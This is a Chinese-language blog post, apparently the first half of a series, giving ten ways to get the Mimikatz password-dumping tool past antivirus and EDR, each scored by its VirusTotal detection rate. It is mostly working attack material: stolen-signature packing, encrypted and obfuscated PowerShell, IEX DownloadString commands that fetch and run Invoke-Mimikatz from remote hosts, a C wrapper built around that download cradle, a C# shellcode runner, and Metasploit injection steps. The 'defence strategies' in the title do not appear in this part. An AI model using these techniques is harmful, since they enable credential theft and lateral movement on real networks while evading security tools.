【免殺篇】遠控免殺專題(68)-Mimikatz的18種免殺姿勢及防禦策略(上)


當你的才華

還撐不起你的野心時

那你就應該靜下心來學習


目錄

0x01 前言

0x02 免殺介紹

0x03 mimikatz免殺實踐

方法0-原生態mimikatz.exe(VT查殺率55/71)

方法1-加殼+簽名+資源替換(VT查殺率9/70)

方法2-Invoke-Mimikatz(VT查殺率39/58)

方法3-使用Out-EncryptedScript加密(VT查殺率0/60)

方法4-使用xencrypt加密(VT查殺率2/59)

方法5-PowerShell嵌入EXE文件(VT查殺率15/58)

方法6-C程序中執行powershell(VT查殺率7/71)

方法7-使用加載器pe_to_shellcode(VT查殺率47/70)

方法8-c#加載shellcode(VT查殺率21/57)

方法9-Donut執行mimikatz(VT查殺率29/71)

方法10-msf加載bin(VT查殺率2/59)

未完,其他方法見Mimikatz的18種免殺姿勢及防禦策略(下)。


0x01 前言

Mimikatz是法國人Benjamin Delpy編寫的一款輕量級的調試工具,理論上可以抓取所有windows系統的明文密碼(winxp之前的好像不行),因此在內網滲透過程中應用非常廣,屬於內網滲透必備工具之一,被很多人稱之爲密碼抓取神器。Mimikatz其實並不只有抓取口令這個功能,它還能夠創建票證、票證傳遞、hash傳遞、甚至僞造域管理憑證令牌等諸多功能。由於mimikatz的使用說明網上資料很多,本文主要是介紹一下mimikatz的一些免殺方式。

隨着這兩年hw行動越來越多,企事業單位也都開始注重內網安全,有預算的會上全套的終端安全、企業版殺軟或者EDR,就算沒有預算的也會裝個360全家桶或者主機衛士之類的,這也導致很多時候你的mimikatz可能都沒法拷貝過去或者沒有加載執行,拿了臺服務器卻橫向移不動就尷尬了。

之前寫了遠控免殺系列的文章https://github.com/TideSec/BypassAntiVirus/,學習到一些比較好玩的免殺姿勢,又從網上找到了一些針對mimikatz的免殺技巧,於是就有了這篇mimikatz免殺的文章。

本文所用到的相關工具和代碼都已經打包:https://github.com/TideSec/BypassAntiVirus/tree/master/tools/

 

0x02 免殺介紹

在遠控免殺專題(1)-基礎篇中就已經大體介紹了一些常見的免殺方式,而針對Mimikatz的免殺更多樣化,因爲Mimiktaz本身是開源的,對源碼或者對exe都可以進行免殺處理。本文主要介紹瞭如下5類免殺方式,共18種免殺方法。

本文雖然是針對Mimiktaz進行免殺,但更多的是想研究學習一下比較通用的exe的免殺方式,比如文中介紹的exe通用加載器、powershell執行exe、白名單加載exe等有幾種方法可以適用於任意的exe免殺,如果只是針對mimikatz進行免殺完全沒必要這麼囉嗦的。

  • 1、源碼免殺。在有源碼的情況下,可以定位特徵碼、加花指令、多層跳轉、加無效指令、替換api、重寫api、API僞調用等等,這部分內容較多略複雜,打算另寫一篇進行介紹,本文不多介紹。

  • 2、無源碼免殺。在源碼不好修改需要對exe進行免殺時,可以加資源、替換資源、加殼、加簽名、PE優化、增加節數據等等。本文中的方法1就是這種方式,只不過算是最簡單的一種。

  • 3、powershell免殺。因爲mimikatz有powershell版或者使用powershell可以加載,所以對powershell的腳本免殺也是一種方式,本文中的方法2-方法6都是對powershell進行處理。

  • 4、加載器分離免殺。加載器就是利用了ShellCode和PE分離的方式來達到免殺的效果,在遠控免殺專題中介紹過不少很好用的加載器,不過很多隻能加載基於RAW格式或固定格式的shellcode,對exe程序就無能無力了。所以這次針對mimikatz,專門找了幾個比較通用的exe加載器,將exe轉換成bin文件即可進行加載,沒有格式限制,方法7到方法10就是介紹的這類免殺。

  • 5、白名單免殺。白名單主要是使用了rundll32、msbuild、mshta、cscript等多個白名單程序來加載嵌入了mimikatz的jscript腳本,這部分沒有太多亮點,和之前寫的遠控免殺專題白名單篇基本相似。部分白名單加載方法借鑑了R1ngk3y的文章九種姿勢運行Mimikatz(https://cloud.tencent.com/developer/article/1171183)。

 

0x03 mimikatz免殺實踐

方法0-原生態mimikatz.exe(VT查殺率55/71)

先測一下原生態的mimikatz在virustotal.com上的查殺率,以此來衡量其他的免殺效果。

可以從https://github.com/gentilkiwi/mimikatz/releases下載最新的mimikatz,最新版本爲2.2.0(20200308),我這裏都是以64位mimiktaz爲例進行測試。

開啓360防護時會攔截

virustotal.com上查殺率爲55/71。

 

方法1-加殼+簽名+資源替換(VT查殺率9/70)

這裏先介紹一種比較常見的pe免殺方法,就是替換資源+加殼+簽名,有能力的還可以pe修改,而且mimikatz是開源的,針對源碼進行免殺處理效果會更好,這裏不多做討論。

需要幾個軟件,VMProtect Ultimate 3.4.0加殼軟件,下載鏈接: https://pan.baidu.com/s/1VXaZgZ1YlVQW9P3B_ciChg 提取碼: emnq

簽名軟件https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/sigthief.py

資源替換軟件ResHacker:https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

先替換資源,使用ResHacker打開mimikatz.exe,然後在圖標裏替換爲360圖標,version裏面文字自己隨意更改。

安裝vmp加殼軟件後,使用vmp進行加殼

使用sigthief.py對上一步生成的exe文件進行簽名。sigthief的詳細用法可以參考https://github.com/secretsquirrel/SigThief。

然後看看能不能運行,360和火絨都沒問題。

VT平臺上mimikatz32_360.exe文件查殺率9/70,缺點就是vmp加殼後會變得比較大。

 

方法2-Invoke-Mimikatz(VT查殺率39/58)

當exe文件執行被攔截時,最常想到的就是使用PowerSploit中的Invoke-Mimikatz.ps1了。它雖然是powershell格式,但由於知名度太高,目前也是被查殺的慘不忍睹了。

可以去PowerSploit下載,也可以下載我打包的:

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

Invoke-Mimikatz.ps1放在測試機上,本地執行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

殺軟會行爲攔截,Invoke-Mimikatz.ps1腳本也會被查殺。

powershell腳本更方便的是可以進行遠程加載

powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz

不過由於raw.githubusercontent.com經常訪問受限,所以可能會出現這種提示

 

所以,最後是把相關代碼放在自己的vps上,我就直接放我的內網另外的pc上了。

powershell依舊會被360行爲攔截。

對可以嘗試直使用下面的bypass方式,來自團隊諾言大佬的文章內網滲透-windows持久性後門

powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

不會觸發powershell下載行爲預警。

virustotal.comInvoke-Mimikatz.ps1腳本查殺率爲39/58。

 

方法3-使用Out-EncryptedScript加密(VT查殺率0/60)

參考https://www.jianshu.com/p/ed5074f8584b

Powersploit中提供的很多工具都是做過加密處理的,同時也提供了一些用來加密處理的腳本,Out-EncryptedScript就是其中之一。

首先在本地對Invoke-Mimikatz.ps1進行加密處理:

先下載Out-EncryptedScript.ps1腳本,下載地址:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1

在自己的電腦上依次執行

powershell.exeImport-Module .\Out-EncryptedScript.ps1Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tidesec -Salt 123456

默認會生成的evil.ps1文件。其中兩個參數:-Password 設置加密的密鑰-Salt 隨機數,防止被暴力破解

14.png

將加密生成的evil.ps1腳本放在目標機上,執行如下命令:​​​​​​​

powershell.exe
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec 123456
Invoke-Expression $decrypted
Invoke-Mimikatz

evil.ps1文件進行查殺

virustotal.comevil.ps1文件查殺率爲0/60。

方法4-使用xencrypt加密(VT查殺率2/59)

該方法主要是使用工具對powershell腳本進行加密並採用Gzip/DEFLATE來繞過殺軟。

工具地址https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/xencrypt.ps1

下載Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1

xencrypt.ps1也放在同一目錄

在powershell中執行​​​​​​​

Import-Module ./xencrypt.ps1Invoke-Xencrypt -InFile .\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -Iterations 88

生成mimi.ps1

執行

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\mimi.ps1;Invoke-Mimikatz"

virustotal.commimi.ps1文件查殺率爲2/59。

方法5-PowerShell嵌入EXE文件(VT查殺率15/58)

這個方法其實只是將exe程序轉爲字符串,然後嵌入到Invoke-ReflectivePEInjection.ps1中直接執行。參考https://www.freebuf.com/articles/terminal/99631.html

將下面代碼保存爲Convert-BinaryToString.ps1

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}

 

執行powershell import-module .\Convert-BinaryToString.ps1 ; Convert-BinaryToString .\mimikatz.exe >>1.txt

下載Invoke-ReflectivePEInjection.ps1,這個是Empire裏的,可以使用PEUrl參數。https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

新建一個payload.ps1,內容如下,需要替換裏面1.txt的內容和Invoke-ReflectivePEInjection內容。​​​​​​​

# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的內容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的內容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然後在目標機器執行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

打開殺軟發現靜態查殺都過不了,其實這個也正常,Invoke-ReflectivePEInjection這個知名度太高了。

 

如果保錯`PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

說明使用32位的powershell才行%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

virustotal.compayload.ps1文件查殺率爲15/58。

方法6-C程序中執行powershell(VT查殺率7/71)

這個執行方式也是比較簡單,在C代碼裏執行powershell。

先借用Invoke-Mimikatz.ps1

powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz

使用c語言的system函數去執行powershell。

#include<stdio.h>

#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz");
return 0;
}

編譯爲exe文件,達到免殺的目的。但在運行該exe時,會觸發360報警。

virustotal.comProject1.exe文件查殺率爲7/71。

方法7-使用加載器pe_to_shellcode(VT查殺率47/70)

下載https://github.com/hasherezade/pe_to_shellcode

將mimikatz.exe轉化爲shellcodepe2shc.exe mimikatz.exe mimi.txt

加載runshc64.exe mimi.txt

virustotal.commimi.txt文件查殺率爲47/70,額,看來這個已經被列入黑名單了。

方法8-c#加載shellcode(VT查殺率21/57)

參考`遠控免殺專題(38)-白名單Rundll32.exe執行payload(VT免殺率22-58)https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

先使用上面介紹的pe_to_shellcode方法,把mimikatz.exe轉換爲mimi.txt

然後使用bin2hex.exe將mimi.txt轉換爲16進制文件,bin2hex.exe可在這裏下載到https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe

bin2hex.exe --i mimi.txt --o mimi2.txt

29.png

在vs2017中創建C#的Console工程,把mimi2.txt中的16進制放到下面代碼中的MsfPayload中。

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
            RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload =  {
0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83,
0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 };

            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

編譯生成exe文件。

然後使用DotNetToJScript把csharp文件轉爲js

DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe

使用cscript.exe mimikatz.js進行執行。

virustotal.commimi.txt文件查殺率爲21/57。

方法9-Donut執行mimikatz(VT查殺率29/71)

先使用donut把mimiktaz.exe轉爲bin文件。

donut.exe -f mimikatz.exe -o mimi.bin

 

將mimi.bin作base64編碼並保存在剪貼板,powershell命令如下:​​​​​​​

$filename = "mimi.bin"[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip

把base64編碼複製到DonutTest工程中。

編譯生成exe。

在注入進程時,發現注入到notepad.exe中無法執行,但注入到powershell中可以執行。

但是發現仍被查殺。

VT查殺率29/71,怎一個慘字了得。

方法10-msf加載bin(VT查殺率2/59)

Donut下載https://github.com/TheWover/donut

下載shellcode_inject.rb代碼https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/shellcode_inject.rb

1、首先使用Donut對需要執行的文件進行shellcode生成,這裏對mimi進行shellcode生成,生成bin文件,等下會用到。

donut.exe -f mimikatz.exe -a 2 -o mimi.bin

windows下的0.9.3版本的donut沒能生成,於是使用了0.9.2版本。

kali下的0.9.3可正常使用。

2、將上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(實際路徑可能不同,也就是metasploit-framework的上級路徑,根據實際情況調整),然後進入msf,reload_all同時載入所有模塊。

kali裏是在目錄/usr/share/metasploit-framework/modules/post/windows/manage/

mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage

3、使用之前載入的shellcode_inject注入模塊,這裏是獲取session後的操作了,session先自己上線再進行以下操作​​​​​​​

use post/windows/manage/shellcode_injectset session 2set shellcode /tmp/payload.binrun

最後成功加載了mimi,使用shellcode注入執行,有更強的隱蔽性。

VT平臺上mimi.bin文件查殺率2/59,卡巴斯基這都能查殺...

未完,其他方法見Mimikatz的18種免殺姿勢及防禦策略(下)。

 


雖然我們生活在陰溝裏,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章